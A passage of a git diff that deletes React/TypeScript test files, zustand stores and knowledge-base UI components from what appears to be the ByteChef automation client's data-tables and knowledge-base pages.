-import {MemoryRouter} from 'react-router-dom';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import DataTablesLeftSidebarNav from '../DataTablesLeftSidebarNav';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockUseDataTablesLeftSidebarNav: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useDataTablesLeftSidebarNav', () => ({
-    default: hoisted.mockUseDataTablesLeftSidebarNav,
-}));
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-const renderWithRouter = () => {
-    return render(
-        <MemoryRouter>
-            <DataTablesLeftSidebarNav />
-        </MemoryRouter>
-    );
-};
-
-describe('DataTablesLeftSidebarNav', () => {
-    describe('with tags', () => {
-        beforeEach(() => {
-            hoisted.mockUseDataTablesLeftSidebarNav.mockReturnValue({
-                isLoading: false,
-                tagId: null,
-                tags: [
-                    {id: 1, name: 'Important'},
-                    {id: 2, name: 'Archived'},
-                ],
-            });
-        });
-
-        it('should render Tags title', () => {
-            renderWithRouter();
-
-            expect(screen.getByText('Tags')).toBeInTheDocument();
-        });
-
-        it('should render all tag names', () => {
-            renderWithRouter();
-
-            expect(screen.getByText('Important')).toBeInTheDocument();
-            expect(screen.getByText('Archived')).toBeInTheDocument();
-        });
-
-        it('should render tag links', () => {
-            renderWithRouter();
-
-            const importantLink = screen.getByRole('link', {name: /Important/});
-            const archivedLink = screen.getByRole('link', {name: /Archived/});
-
-            expect(importantLink).toHaveAttribute('href', '/?tagId=1');
-            expect(archivedLink).toHaveAttribute('href', '/?tagId=2');
-        });
-    });
-
-    describe('with selected tag', () => {
-        beforeEach(() => {
-            hoisted.mockUseDataTablesLeftSidebarNav.mockReturnValue({
-                isLoading: false,
-                tagId: '1',
-                tags: [
-                    {id: 1, name: 'Important'},
-                    {id: 2, name: 'Archived'},
-                ],
-            });
-        });
-
-        it('should render both tags', () => {
-            renderWithRouter();
-
-            expect(screen.getByText('Important')).toBeInTheDocument();
-            expect(screen.getByText('Archived')).toBeInTheDocument();
-        });
-    });
-
-    describe('empty state', () => {
-        beforeEach(() => {
-            hoisted.mockUseDataTablesLeftSidebarNav.mockReturnValue({
-                isLoading: false,
-                tagId: null,
-                tags: [],
-            });
-        });
-
-        it('should not render anything when no tags exist', () => {
-            const {container} = renderWithRouter();
-
-            expect(container).toBeEmptyDOMElement();
-        });
-    });
-
-    describe('loading state', () => {
-        beforeEach(() => {
-            hoisted.mockUseDataTablesLeftSidebarNav.mockReturnValue({
-                isLoading: true,
-                tagId: null,
-                tags: [{id: 1, name: 'Important'}],
-            });
-        });
-
-        it('should not render anything while loading', () => {
-            const {container} = renderWithRouter();
-
-            expect(container).toBeEmptyDOMElement();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatables/components/tests/DuplicateDataTableDialog.test.tsx b/client/src/pages/automation/datatables/components/tests/DuplicateDataTableDialog.test.tsx
deleted file mode 100644
index 9f5c448bd4f..00000000000
--- a/client/src/pages/automation/datatables/components/tests/DuplicateDataTableDialog.test.tsx
+++ /dev/null
@@ -1,117 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import DuplicateDataTableDialog from '../DuplicateDataTableDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleClose: vi.fn(),
-        handleDuplicateSubmit: vi.fn(),
-        handleDuplicateValueChange: vi.fn(),
-        mockUseDuplicateDataTableDialog: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useDuplicateDataTableDialog', () => ({
-    default: hoisted.mockUseDuplicateDataTableDialog,
-}));
-
-const defaultMockReturn = {
-    canDuplicate: true,
-    duplicateValue: 'orders_copy',
-    handleClose: hoisted.handleClose,
-    handleDuplicateSubmit: hoisted.handleDuplicateSubmit,
-    handleDuplicateValueChange: hoisted.handleDuplicateValueChange,
-    handleOpen: vi.fn(),
-    open: true,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseDuplicateDataTableDialog.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('DuplicateDataTableDialog', () => {
-    it('should render the dialog when open is true', () => {
-        render(<DuplicateDataTableDialog />);
-
-        expect(screen.getByText('Duplicate table')).toBeInTheDocument();
-    });
-
-    it('should display the dialog description', () => {
-        render(<DuplicateDataTableDialog />);
-
-        expect(screen.getByText('Enter a name for the duplicated table.')).toBeInTheDocument();
-    });
-
-    it('should render Cancel and Duplicate buttons', () => {
-        render(<DuplicateDataTableDialog />);
-
-        expect(screen.getByRole('button', {name: 'Cancel'})).toBeInTheDocument();
-        expect(screen.getByRole('button', {name: 'Duplicate'})).toBeInTheDocument();
-    });
-
-    it('should display input with duplicate value', () => {
-        render(<DuplicateDataTableDialog />);
-
-        const input = screen.getByDisplayValue('orders_copy');
-
-        expect(input).toBeInTheDocument();
-    });
-
-    it('should call handleDuplicateSubmit when clicking Duplicate button', async () => {
-        render(<DuplicateDataTableDialog />);
-
-        const duplicateButton = screen.getByRole('button', {name: 'Duplicate'});
-        await userEvent.click(duplicateButton);
-
-        expect(hoisted.handleDuplicateSubmit).toHaveBeenCalledTimes(1);
-    });
-
-    it('should call handleClose when clicking Cancel button', async () => {
-        render(<DuplicateDataTableDialog />);
-
-        const cancelButton = screen.getByRole('button', {name: 'Cancel'});
-        await userEvent.click(cancelButton);
-
-        expect(hoisted.handleClose).toHaveBeenCalled();
-    });
-});
-
-describe('DuplicateDataTableDialog closed state', () => {
-    beforeEach(() => {
-        hoisted.mockUseDuplicateDataTableDialog.mockReturnValue({
-            ...defaultMockReturn,
-            open: false,
-        });
-    });
-
-    it('should not render the dialog content when open is false', () => {
-        render(<DuplicateDataTableDialog />);
-
-        expect(screen.queryByText('Duplicate table')).not.toBeInTheDocument();
-    });
-});
-
-describe('DuplicateDataTableDialog canDuplicate disabled', () => {
-    beforeEach(() => {
-        hoisted.mockUseDuplicateDataTableDialog.mockReturnValue({
-            ...defaultMockReturn,
-            canDuplicate: false,
-            duplicateValue: '',
-        });
-    });
-
-    it('should disable Duplicate button when canDuplicate is false', () => {
-        render(<DuplicateDataTableDialog />);
-
-        const duplicateButton = screen.getByRole('button', {name: 'Duplicate'});
-
-        expect(duplicateButton).toBeDisabled();
-    });
-});
diff --git a/client/src/pages/automation/datatables/components/tests/RenameDataTableDialog.test.tsx b/client/src/pages/automation/datatables/components/tests/RenameDataTableDialog.test.tsx
deleted file mode 100644
index 1db3d3a92b6..00000000000
--- a/client/src/pages/automation/datatables/components/tests/RenameDataTableDialog.test.tsx
+++ /dev/null
@@ -1,118 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import RenameDataTableDialog from '../RenameDataTableDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleOpenChange: vi.fn(),
-        handleRenameSubmit: vi.fn(),
-        handleRenameValueChange: vi.fn(),
-        mockUseRenameDataTableDialog: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useRenameDataTableDialog', () => ({
-    default: hoisted.mockUseRenameDataTableDialog,
-}));
-
-const defaultMockReturn = {
-    canRename: true,
-    handleClose: vi.fn(),
-    handleOpen: vi.fn(),
-    handleOpenChange: hoisted.handleOpenChange,
-    handleRenameSubmit: hoisted.handleRenameSubmit,
-    handleRenameValueChange: hoisted.handleRenameValueChange,
-    open: true,
-    renameValue: 'orders_renamed',
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseRenameDataTableDialog.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('RenameDataTableDialog', () => {
-    it('should render the dialog when open is true', () => {
-        render(<RenameDataTableDialog />);
-
-        expect(screen.getByText('Rename Table')).toBeInTheDocument();
-    });
-
-    it('should display the dialog description', () => {
-        render(<RenameDataTableDialog />);
-
-        expect(screen.getByText('Enter a new base name for this table.')).toBeInTheDocument();
-    });
-
-    it('should render Cancel and Rename buttons', () => {
-        render(<RenameDataTableDialog />);
-
-        expect(screen.getByRole('button', {name: 'Cancel'})).toBeInTheDocument();
-        expect(screen.getByRole('button', {name: 'Rename'})).toBeInTheDocument();
-    });
-
-    it('should display input with rename value', () => {
-        render(<RenameDataTableDialog />);
-
-        const input = screen.getByDisplayValue('orders_renamed');
-
-        expect(input).toBeInTheDocument();
-    });
-
-    it('should call handleRenameSubmit when clicking Rename button', async () => {
-        render(<RenameDataTableDialog />);
-
-        const renameButton = screen.getByRole('button', {name: 'Rename'});
-        await userEvent.click(renameButton);
-
-        expect(hoisted.handleRenameSubmit).toHaveBeenCalledTimes(1);
-    });
-
-    it('should call handleOpenChange with false when clicking Cancel button', async () => {
-        render(<RenameDataTableDialog />);
-
-        const cancelButton = screen.getByRole('button', {name: 'Cancel'});
-        await userEvent.click(cancelButton);
-
-        expect(hoisted.handleOpenChange).toHaveBeenCalledWith(false);
-    });
-});
-
-describe('RenameDataTableDialog closed state', () => {
-    beforeEach(() => {
-        hoisted.mockUseRenameDataTableDialog.mockReturnValue({
-            ...defaultMockReturn,
-            open: false,
-        });
-    });
-
-    it('should not render the dialog content when open is false', () => {
-        render(<RenameDataTableDialog />);
-
-        expect(screen.queryByText('Rename Table')).not.toBeInTheDocument();
-    });
-});
-
-describe('RenameDataTableDialog canRename disabled', () => {
-    beforeEach(() => {
-        hoisted.mockUseRenameDataTableDialog.mockReturnValue({
-            ...defaultMockReturn,
-            canRename: false,
-            renameValue: '',
-        });
-    });
-
-    it('should disable Rename button when canRename is false', () => {
-        render(<RenameDataTableDialog />);
-
-        const renameButton = screen.getByRole('button', {name: 'Rename'});
-
-        expect(renameButton).toBeDisabled();
-    });
-});
diff --git a/client/src/pages/automation/datatables/stores/tests/useDuplicateDataTableDialogStore.test.ts b/client/src/pages/automation/datatables/stores/tests/useDuplicateDataTableDialogStore.test.ts
deleted file mode 100644
index 8ff0a727901..00000000000
--- a/client/src/pages/automation/datatables/stores/tests/useDuplicateDataTableDialogStore.test.ts
+++ /dev/null
@@ -1,102 +0,0 @@
-import {act} from '@testing-library/react';
-import {beforeEach, describe, expect, it} from 'vitest';
-
-import {useDuplicateDataTableDialogStore} from '../useDuplicateDataTableDialogStore';
-
-describe('useDuplicateDataTableDialogStore', () => {
-    beforeEach(() => {
-        act(() => {
-            useDuplicateDataTableDialogStore.getState().clearTableToDuplicate();
-        });
-    });
-
-    describe('initial state', () => {
-        it('has tableIdToDuplicate as null', () => {
-            const state = useDuplicateDataTableDialogStore.getState();
-
-            expect(state.tableIdToDuplicate).toBeNull();
-        });
-
-        it('has empty baseName', () => {
-            const state = useDuplicateDataTableDialogStore.getState();
-
-            expect(state.baseName).toBe('');
-        });
-
-        it('has empty duplicateValue', () => {
-            const state = useDuplicateDataTableDialogStore.getState();
-
-            expect(state.duplicateValue).toBe('');
-        });
-    });
-
-    describe('setTableToDuplicate', () => {
-        it('sets tableIdToDuplicate to the provided id', () => {
-            act(() => {
-                useDuplicateDataTableDialogStore.getState().setTableToDuplicate('table-123', 'MyTable');
-            });
-
-            const state = useDuplicateDataTableDialogStore.getState();
-
-            expect(state.tableIdToDuplicate).toBe('table-123');
-        });
-
-        it('sets baseName to the provided name', () => {
-            act(() => {
-                useDuplicateDataTableDialogStore.getState().setTableToDuplicate('table-123', 'MyTable');
-            });
-
-            const state = useDuplicateDataTableDialogStore.getState();
-
-            expect(state.baseName).toBe('MyTable');
-        });
-
-        it('sets duplicateValue to baseName with _copy suffix', () => {
-            act(() => {
-                useDuplicateDataTableDialogStore.getState().setTableToDuplicate('table-123', 'MyTable');
-            });
-
-            const state = useDuplicateDataTableDialogStore.getState();
-
-            expect(state.duplicateValue).toBe('MyTable_copy');
-        });
-    });
-
-    describe('setDuplicateValue', () => {
-        it('updates duplicateValue', () => {
-            act(() => {
-                useDuplicateDataTableDialogStore.getState().setTableToDuplicate('table-123', 'MyTable');
-            });
-
-            act(() => {
-                useDuplicateDataTableDialogStore.getState().setDuplicateValue('NewName');
-            });
-
-            const state = useDuplicateDataTableDialogStore.getState();
-
-            expect(state.duplicateValue).toBe('NewName');
-        });
-    });
-
-    describe('clearTableToDuplicate', () => {
-        it('resets all state to initial values', () => {
-            act(() => {
-                useDuplicateDataTableDialogStore.getState().setTableToDuplicate('table-123', 'MyTable');
-            });
-
-            act(() => {
-                useDuplicateDataTableDialogStore.getState().setDuplicateValue('ChangedName');
-            });
-
-            act(() => {
-                useDuplicateDataTableDialogStore.getState().clearTableToDuplicate();
-            });
-
-            const state = useDuplicateDataTableDialogStore.getState();
-
-            expect(state.tableIdToDuplicate).toBeNull();
-            expect(state.baseName).toBe('');
-            expect(state.duplicateValue).toBe('');
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatables/stores/tests/useRenameDataTableDialogStore.test.ts b/client/src/pages/automation/datatables/stores/tests/useRenameDataTableDialogStore.test.ts
deleted file mode 100644
index ce384e886a2..00000000000
--- a/client/src/pages/automation/datatables/stores/tests/useRenameDataTableDialogStore.test.ts
+++ /dev/null
@@ -1,102 +0,0 @@
-import {act} from '@testing-library/react';
-import {beforeEach, describe, expect, it} from 'vitest';
-
-import {useRenameDataTableDialogStore} from '../useRenameDataTableDialogStore';
-
-describe('useRenameDataTableDialogStore', () => {
-    beforeEach(() => {
-        act(() => {
-            useRenameDataTableDialogStore.getState().clearTableToRename();
-        });
-    });
-
-    describe('initial state', () => {
-        it('has tableIdToRename as null', () => {
-            const state = useRenameDataTableDialogStore.getState();
-
-            expect(state.tableIdToRename).toBeNull();
-        });
-
-        it('has empty baseName', () => {
-            const state = useRenameDataTableDialogStore.getState();
-
-            expect(state.baseName).toBe('');
-        });
-
-        it('has empty renameValue', () => {
-            const state = useRenameDataTableDialogStore.getState();
-
-            expect(state.renameValue).toBe('');
-        });
-    });
-
-    describe('setTableToRename', () => {
-        it('sets tableIdToRename to the provided id', () => {
-            act(() => {
-                useRenameDataTableDialogStore.getState().setTableToRename('table-123', 'MyTable');
-            });
-
-            const state = useRenameDataTableDialogStore.getState();
-
-            expect(state.tableIdToRename).toBe('table-123');
-        });
-
-        it('sets baseName to the provided name', () => {
-            act(() => {
-                useRenameDataTableDialogStore.getState().setTableToRename('table-123', 'MyTable');
-            });
-
-            const state = useRenameDataTableDialogStore.getState();
-
-            expect(state.baseName).toBe('MyTable');
-        });
-
-        it('sets renameValue to the provided baseName', () => {
-            act(() => {
-                useRenameDataTableDialogStore.getState().setTableToRename('table-123', 'MyTable');
-            });
-
-            const state = useRenameDataTableDialogStore.getState();
-
-            expect(state.renameValue).toBe('MyTable');
-        });
-    });
-
-    describe('setRenameValue', () => {
-        it('updates renameValue', () => {
-            act(() => {
-                useRenameDataTableDialogStore.getState().setTableToRename('table-123', 'MyTable');
-            });
-
-            act(() => {
-                useRenameDataTableDialogStore.getState().setRenameValue('NewTableName');
-            });
-
-            const state = useRenameDataTableDialogStore.getState();
-
-            expect(state.renameValue).toBe('NewTableName');
-        });
-    });
-
-    describe('clearTableToRename', () => {
-        it('resets all state to initial values', () => {
-            act(() => {
-                useRenameDataTableDialogStore.getState().setTableToRename('table-123', 'MyTable');
-            });
-
-            act(() => {
-                useRenameDataTableDialogStore.getState().setRenameValue('ChangedName');
-            });
-
-            act(() => {
-                useRenameDataTableDialogStore.getState().clearTableToRename();
-            });
-
-            const state = useRenameDataTableDialogStore.getState();
-
-            expect(state.tableIdToRename).toBeNull();
-            expect(state.baseName).toBe('');
-            expect(state.renameValue).toBe('');
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatables/stores/useDuplicateDataTableDialogStore.ts b/client/src/pages/automation/datatables/stores/useDuplicateDataTableDialogStore.ts
deleted file mode 100644
index a77aeb12a4d..00000000000
--- a/client/src/pages/automation/datatables/stores/useDuplicateDataTableDialogStore.ts
+++ /dev/null
@@ -1,48 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface DuplicateDataTableDialogStateI {
-    baseName: string;
-    clearTableToDuplicate: () => void;
-    duplicateValue: string;
-    setDuplicateValue: (value: string) => void;
-    setTableToDuplicate: (tableId: string, baseName: string) => void;
-    tableIdToDuplicate: string | null;
-}
-
-export const useDuplicateDataTableDialogStore = create<DuplicateDataTableDialogStateI>()(
-    devtools(
-        (set) => ({
-            baseName: '',
-
-            clearTableToDuplicate: () => {
-                set(() => ({
-                    baseName: '',
-                    duplicateValue: '',
-                    tableIdToDuplicate: null,
-                }));
-            },
-
-            duplicateValue: '',
-
-            setDuplicateValue: (value: string) => {
-                set(() => ({
-                    duplicateValue: value,
-                }));
-            },
-
-            setTableToDuplicate: (tableId: string, baseName: string) => {
-                set(() => ({
-                    baseName,
-                    duplicateValue: `${baseName}_copy`,
-                    tableIdToDuplicate: tableId,
-                }));
-            },
-
-            tableIdToDuplicate: null,
-        }),
-        {
-            name: 'bytechef.duplicate-datatable-dialog',
-        }
-    )
-);
diff --git a/client/src/pages/automation/datatables/stores/useRenameDataTableDialogStore.ts b/client/src/pages/automation/datatables/stores/useRenameDataTableDialogStore.ts
deleted file mode 100644
index 7656c280892..00000000000
--- a/client/src/pages/automation/datatables/stores/useRenameDataTableDialogStore.ts
+++ /dev/null
@@ -1,48 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface RenameDataTableDialogStateI {
-    baseName: string;
-    clearTableToRename: () => void;
-    renameValue: string;
-    setRenameValue: (value: string) => void;
-    setTableToRename: (tableId: string, baseName: string) => void;
-    tableIdToRename: string | null;
-}
-
-export const useRenameDataTableDialogStore = create<RenameDataTableDialogStateI>()(
-    devtools(
-        (set) => ({
-            baseName: '',
-
-            clearTableToRename: () => {
-                set(() => ({
-                    baseName: '',
-                    renameValue: '',
-                    tableIdToRename: null,
-                }));
-            },
-
-            renameValue: '',
-
-            setRenameValue: (value: string) => {
-                set(() => ({
-                    renameValue: value,
-                }));
-            },
-
-            setTableToRename: (tableId: string, baseName: string) => {
-                set(() => ({
-                    baseName,
-                    renameValue: baseName,
-                    tableIdToRename: tableId,
-                }));
-            },
-
-            tableIdToRename: null,
-        }),
-        {
-            name: 'bytechef.rename-datatable-dialog',
-        }
-    )
-);
diff --git a/client/src/pages/automation/datatables/tests/DataTables.test.tsx b/client/src/pages/automation/datatables/tests/DataTables.test.tsx
deleted file mode 100644
index 3f1b43ca7d0..00000000000
--- a/client/src/pages/automation/datatables/tests/DataTables.test.tsx
+++ /dev/null
@@ -1,145 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import DataTables from '../DataTables';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockUseDataTables: vi.fn(),
-    };
-});
-
-vi.mock('@/pages/automation/datatables/components/hooks/useDataTables', () => ({
-    default: hoisted.mockUseDataTables,
-}));
-
-vi.mock('@/pages/automation/datatables/components/CreateDataTableDialog', () => ({
-    default: () => <button data-testid="create-dialog-trigger">New Table</button>,
-}));
-
-vi.mock('@/pages/automation/datatables/components/DataTableList', () => ({
-    default: ({dataTables}: {dataTables: Array<{id: string; baseName: string}>}) => (
-        <div data-testid="data-table-list">
-            {dataTables.map((table) => (
-                <div data-testid={`table-${table.id}`} key={table.id}>
-                    {table.baseName}
-                </div>
-            ))}
-        </div>
-    ),
-}));
-
-vi.mock('@/pages/automation/datatables/components/DataTablesFilterTitle', () => ({
-    default: () => <div data-testid="filter-title">Filter Title</div>,
-}));
-
-vi.mock('@/pages/automation/datatables/components/DataTablesLeftSidebarNav', () => ({
-    default: () => <div data-testid="left-sidebar-nav">Sidebar Nav</div>,
-}));
-
-const defaultMockReturn = {
-    error: null,
-    filteredTables: [
-        {baseName: 'Table1', columns: [], id: '1', lastModifiedDate: '2024-01-01'},
-        {baseName: 'Table2', columns: [], id: '2', lastModifiedDate: '2024-01-02'},
-    ],
-    isLoading: false,
-    tables: [
-        {baseName: 'Table1', columns: [], id: '1', lastModifiedDate: '2024-01-01'},
-        {baseName: 'Table2', columns: [], id: '2', lastModifiedDate: '2024-01-02'},
-    ],
-    tagId: undefined,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseDataTables.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('DataTables', () => {
-    describe('loading state', () => {
-        it('should render loading state when isLoading is true', () => {
-            hoisted.mockUseDataTables.mockReturnValue({
-                ...defaultMockReturn,
-                filteredTables: [],
-                isLoading: true,
-                tables: [],
-            });
-
-            render(<DataTables />);
-
-            expect(screen.queryByTestId('data-table-list')).not.toBeInTheDocument();
-        });
-    });
-
-    describe('error state', () => {
-        it('should render error message when error exists', () => {
-            hoisted.mockUseDataTables.mockReturnValue({
-                ...defaultMockReturn,
-                error: new Error('Failed to fetch tables'),
-            });
-
-            render(<DataTables />);
-
-            expect(screen.getByText('Some error occurred.')).toBeInTheDocument();
-        });
-    });
-
-    describe('data table list', () => {
-        it('should render page title', () => {
-            render(<DataTables />);
-
-            expect(screen.getByText('Data Tables')).toBeInTheDocument();
-        });
-
-        it('should render DataTableList component', () => {
-            render(<DataTables />);
-
-            expect(screen.getByTestId('data-table-list')).toBeInTheDocument();
-        });
-
-        it('should render tables', () => {
-            render(<DataTables />);
-
-            expect(screen.getByText('Table1')).toBeInTheDocument();
-            expect(screen.getByText('Table2')).toBeInTheDocument();
-        });
-
-        it('should render CreateDataTableDialog trigger', () => {
-            render(<DataTables />);
-
-            expect(screen.getByTestId('create-dialog-trigger')).toBeInTheDocument();
-        });
-
-        it('should render left sidebar nav', () => {
-            render(<DataTables />);
-
-            expect(screen.getByTestId('left-sidebar-nav')).toBeInTheDocument();
-        });
-    });
-
-    describe('empty state', () => {
-        it('should render empty state when no tables', () => {
-            hoisted.mockUseDataTables.mockReturnValue({...defaultMockReturn, filteredTables: [], tables: []});
-
-            render(<DataTables />);
-
-            expect(screen.getByText('No Data Tables')).toBeInTheDocument();
-            expect(screen.getByText('Get started by creating a new data table.')).toBeInTheDocument();
-        });
-
-        it('should render empty state with tag filter message', () => {
-            hoisted.mockUseDataTables.mockReturnValue({...defaultMockReturn, filteredTables: [], tagId: 1});
-
-            render(<DataTables />);
-
-            expect(screen.getByText('No Matching Tables')).toBeInTheDocument();
-            expect(screen.getByText('No data tables match the selected tag.')).toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/KnowledgeBase.tsx b/client/src/pages/automation/knowledge-base/KnowledgeBase.tsx
deleted file mode 100644
index ee34d94b4e9..00000000000
--- a/client/src/pages/automation/knowledge-base/KnowledgeBase.tsx
+++ /dev/null
@@ -1,33 +0,0 @@
-import PageLoader from '@/components/PageLoader';
-import KnowledgeBaseHeader from '@/pages/automation/knowledge-base/components/KnowledgeBaseHeader';
-import KnowledgeBaseInfoCard from '@/pages/automation/knowledge-base/components/KnowledgeBaseInfoCard';
-import KnowledgeBaseLeftSidebarNav from '@/pages/automation/knowledge-base/components/KnowledgeBaseLeftSidebarNav';
-import KnowledgeBaseTabs from '@/pages/automation/knowledge-base/components/KnowledgeBaseTabs';
-import useKnowledgeBase from '@/pages/automation/knowledge-base/hooks/useKnowledgeBase';
-import Header from '@/shared/layout/Header';
-import LayoutContainer from '@/shared/layout/LayoutContainer';
-
-const KnowledgeBase = () => {
-    const {documents, error, handleBackClick, isLoading, knowledgeBase, knowledgeBaseId} = useKnowledgeBase();
-
-    return (
-        <LayoutContainer
-            header={<KnowledgeBaseHeader knowledgeBaseName={knowledgeBase?.name} onBackClick={handleBackClick} />}
-            leftSidebarBody={<KnowledgeBaseLeftSidebarNav />}
-            leftSidebarHeader={<Header position="sidebar" title="Knowledge Base" />}
-            leftSidebarWidth="64"
-        >
-            <PageLoader errors={[error]} loading={isLoading}>
-                {knowledgeBase && (
-                    <div className="mx-auto flex h-full w-full max-w-screen-lg flex-col px-4 py-4">
-                        <KnowledgeBaseInfoCard knowledgeBase={knowledgeBase} />
-
-                        <KnowledgeBaseTabs documents={documents} knowledgeBaseId={knowledgeBaseId} />
-                    </div>
-                )}
-            </PageLoader>
-        </LayoutContainer>
-    );
-};
-
-export default KnowledgeBase;
diff --git a/client/src/pages/automation/knowledge-base/components/EditKnowledgeBaseDialog.tsx b/client/src/pages/automation/knowledge-base/components/EditKnowledgeBaseDialog.tsx
deleted file mode 100644
index 091b580226b..00000000000
--- a/client/src/pages/automation/knowledge-base/components/EditKnowledgeBaseDialog.tsx
+++ /dev/null
@@ -1,116 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    Dialog,
-    DialogCloseButton,
-    DialogContent,
-    DialogDescription,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-    DialogTrigger,
-} from '@/components/ui/dialog';
-import {Input} from '@/components/ui/input';
-import {Label} from '@/components/ui/label';
-import {Textarea} from '@/components/ui/textarea';
-import useEditKnowledgeBaseDialog from '@/pages/automation/knowledge-base/components/hooks/useEditKnowledgeBaseDialog';
-import {KnowledgeBase} from '@/shared/middleware/graphql';
-import {EditIcon} from 'lucide-react';
-import {ReactNode} from 'react';
-
-interface EditKnowledgeBaseDialogProps {
-    knowledgeBase: KnowledgeBase;
-    onOpenChange?: (open: boolean) => void;
-    open?: boolean;
-    trigger?: ReactNode;
-}
-
-const EditKnowledgeBaseDialog = ({
-    knowledgeBase,
-    onOpenChange,
-    open: controlledOpen,
-    trigger,
-}: EditKnowledgeBaseDialogProps) => {
-    const {
-        canSubmit,
-        description,
-        handleCancel,
-        handleDescriptionChange,
-        handleNameChange,
-        handleOpenChange,
-        handleSave,
-        isPending,
-        name,
-        open,
-    } = useEditKnowledgeBaseDialog({knowledgeBase, onOpenChange, open: controlledOpen});
-
-    const renderTrigger = () => {
-        if (trigger !== undefined) {
-            return <DialogTrigger asChild>{trigger}</DialogTrigger>;
-        }
-
-        if (controlledOpen === undefined) {
-            return (
-                <DialogTrigger asChild>
-                    <Button icon={<EditIcon />} size="icon" variant="ghost" />
-                </DialogTrigger>
-            );
-        }
-
-        return null;
-    };
-
-    return (
-        <Dialog onOpenChange={handleOpenChange} open={open}>
-            {renderTrigger()}
-
-            <DialogContent className="sm:max-w-[500px]">
-                <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                    <div className="flex flex-col space-y-1">
-                        <DialogTitle>{`${knowledgeBase?.id ? 'Edit' : 'Create'} Knowledge Base`}</DialogTitle>
-
-                        <DialogDescription>Update the general settings for this knowledge base.</DialogDescription>
-                    </div>
-
-                    <DialogCloseButton />
-                </DialogHeader>
-
-                <fieldset className="space-y-4 border-0 py-4">
-                    <div className="space-y-2">
-                        <Label htmlFor="kb-name">Name</Label>
-
-                        <Input
-                            id="kb-name"
-                            onChange={(event) => handleNameChange(event.target.value)}
-                            placeholder="Knowledge base name"
-                            value={name}
-                        />
-                    </div>
-
-                    <div className="space-y-2">
-                        <Label htmlFor="kb-description">Description</Label>
-
-                        <Textarea
-                            id="kb-description"
-                            onChange={(event) => handleDescriptionChange(event.target.value)}
-                            placeholder="Describe this knowledge base (optional)"
-                            rows={3}
-                            value={description}
-                        />
-                    </div>
-                </fieldset>
-
-                <DialogFooter>
-                    <Button onClick={handleCancel} variant="ghost">
-                        Cancel
-                    </Button>
-
-                    <Button disabled={!canSubmit || isPending} onClick={handleSave}>
-                        {isPending ? 'Saving...' : 'Save'}
-                    </Button>
-                </DialogFooter>
-            </DialogContent>
-        </Dialog>
-    );
-};
-
-export default EditKnowledgeBaseDialog;
diff --git a/client/src/pages/automation/knowledge-base/components/KnowledgeBaseDeleteAlertDialog.tsx b/client/src/pages/automation/knowledge-base/components/KnowledgeBaseDeleteAlertDialog.tsx
deleted file mode 100644
index 63d7293d1c2..00000000000
--- a/client/src/pages/automation/knowledge-base/components/KnowledgeBaseDeleteAlertDialog.tsx
+++ /dev/null
@@ -1,19 +0,0 @@
-import DeleteAlertDialog from '@/components/DeleteAlertDialog';
-import useKnowledgeBaseDeleteAlertDialog from '@/pages/automation/knowledge-base/components/hooks/useKnowledgeBaseDeleteAlertDialog';
-
-interface KnowledgeBaseDeleteAlertDialogProps {
-    knowledgeBaseId: string;
-    onClose: () => void;
-    open: boolean;
-}
-
-const KnowledgeBaseDeleteAlertDialog = ({knowledgeBaseId, onClose, open}: KnowledgeBaseDeleteAlertDialogProps) => {
-    const {handleCancelClick, handleDeleteClick} = useKnowledgeBaseDeleteAlertDialog({
-        knowledgeBaseId,
-        onClose,
-    });
-
-    return <DeleteAlertDialog onCancel={handleCancelClick} onDelete={handleDeleteClick} open={open} />;
-};
-
-export default KnowledgeBaseDeleteAlertDialog;
diff --git a/client/src/pages/automation/knowledge-base/components/KnowledgeBaseDropdownMenu.tsx b/client/src/pages/automation/knowledge-base/components/KnowledgeBaseDropdownMenu.tsx
deleted file mode 100644
index 7a9aff31a3c..00000000000
--- a/client/src/pages/automation/knowledge-base/components/KnowledgeBaseDropdownMenu.tsx
+++ /dev/null
@@ -1,69 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    DropdownMenu,
-    DropdownMenuContent,
-    DropdownMenuItem,
-    DropdownMenuSeparator,
-    DropdownMenuTrigger,
-} from '@/components/ui/dropdown-menu';
-import EditKnowledgeBaseDialog from '@/pages/automation/knowledge-base/components/EditKnowledgeBaseDialog';
-import KnowledgeBaseDeleteAlertDialog from '@/pages/automation/knowledge-base/components/KnowledgeBaseDeleteAlertDialog';
